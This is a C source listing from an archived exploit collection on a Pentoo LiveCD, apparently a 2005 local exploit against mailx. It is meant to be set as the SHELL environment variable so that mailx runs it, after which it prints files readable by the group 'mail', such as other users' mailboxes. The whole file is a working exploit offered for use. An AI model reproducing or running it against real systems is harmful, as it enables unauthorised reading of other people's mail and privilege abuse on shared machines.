home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / linux-mailx2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  46 lines

  1. // this is nothing special, it allows you to read files that are
  2. // readable by the group 'mail'.
  3. // feedback: segv <dan@rtfm.net>
  4.  
  5. #include <stdio.h>
  6. #include <unistd.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/stat.h>
  11. #include <fcntl.h>
  12.  
  13. void usage(char *prog);
  14.  
  15. void main(int argc, char *argv[])
  16. {
  17.         char buffer[1024];
  18.         int fd, bytes;
  19.  
  20.         if(argc != 3)
  21.                 usage(argv[0]);
  22.  
  23.         if((strcmp(argv[1],"-c")))
  24.                 usage(argv[0]);
  25.         else {
  26.                 if((fd=open(argv[2],O_RDONLY)) == -1) {
  27.                         perror("open");
  28.                         exit(1);
  29.                 }
  30.                 while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
  31.                         write(1,buffer,bytes);
  32.  
  33.                 close(fd);
  34.         }
  35.         exit(0);
  36. }
  37.  
  38. void usage(char *prog)
  39. {
  40.         fprintf(stderr,"this program should be invoked by mailx\n");
  41.         fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
  42.         fprintf(stderr,"name of this program.\n");
  43.         exit(1);
  44. }
  45.  
  46.